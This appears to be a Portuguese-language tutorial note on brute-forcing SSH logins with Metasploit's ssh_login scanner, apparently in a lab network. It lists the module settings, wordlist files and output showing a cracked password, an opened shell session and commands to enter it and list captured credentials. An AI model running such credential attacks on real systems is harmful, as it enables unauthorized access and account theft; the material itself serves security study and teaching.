Ataques de Força Bruta

+ Vamos dar um exemplo de brute force no ssh

+ Podemos criar ou passar listas já existente para dentro do diretório /opt

```
nano /opt/users.txt
nano /opt/pass.txt
```

+ O módulo será o

```
use auxiliary/scanner/ssh/ssh_login
```

```
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 172.16.1.7
RHOSTS => 172.16.1.7
msf5 auxiliary(scanner/ssh/ssh_login) > set THREADS 10
THREADS => 10
msf5 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /opt/users.txt
USER_FILE => /opt/users.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /opt/pass.txt
PASS_FILE => /opt/pass.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true
VERBOSE => true
msf5 auxiliary(scanner/ssh/ssh_login) > show options
```

→ Setamos as configurações citadas acima
→ Depois, demos o run

```
msf5 auxiliary(scanner/ssh/ssh_login) > run

[-] 172.16.1.7:22 - Failed: 'ti:master'
[+] 172.16.1.7:22 - Success: 'ti:security' ''
[*] Command shell session 1 opened (172.20.1.166:40473 -> 172.16.1.7:22) at 2020-03-07 20:06:5
[-] 172.16.1.7:22 - Failed: 'admin:master'
[-] 172.16.1.7:22 - Failed: 'admin:security'
^C[*] Caught interrupt from the console...
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/ssh_login) > sessions

Active sessions
===============

  Id  Name  Type            Information                    Connection
  --  ----  ----            -----------                    ----------
  1         shell unknown   SSH ti:security (172.16.1.7:22)  172.20.1.166:40473 -> 172.16.1.7:2
```

+ Para acessar a sessão, devemos dar o sessions -i 1, supondo ser 1 o Id da sessão

+ Para ver as credenciais salvas: creds